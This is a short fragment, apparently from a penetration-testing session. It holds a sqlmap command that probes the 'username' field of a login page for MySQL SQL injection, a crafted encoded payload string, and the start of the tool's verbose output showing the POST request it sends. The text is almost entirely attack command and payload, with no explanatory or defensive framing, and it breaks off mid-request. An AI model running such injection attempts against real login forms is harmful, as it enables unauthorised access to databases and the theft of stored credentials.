password=letmein&username=1%c0%00xa7%c0%a2

sqlmap -u http://thehost/include/login.php --method POST --data "password=letmein&username=1%c0%00xa7%c0%a2" -p "username" --dbms=mysql

[PAYLOAD] 1%c0%00xa7%c0%a2)).("(,)'(
 [TRAFFIC OUT] HTTP request [#3]:
 POST /include/login.php HTTP/1.1
 Host: thehost
 Content-type: application/x-www-form-urlencoded; charset=utf-8
 Accept: */*
 Content-length: 70
 Connection: close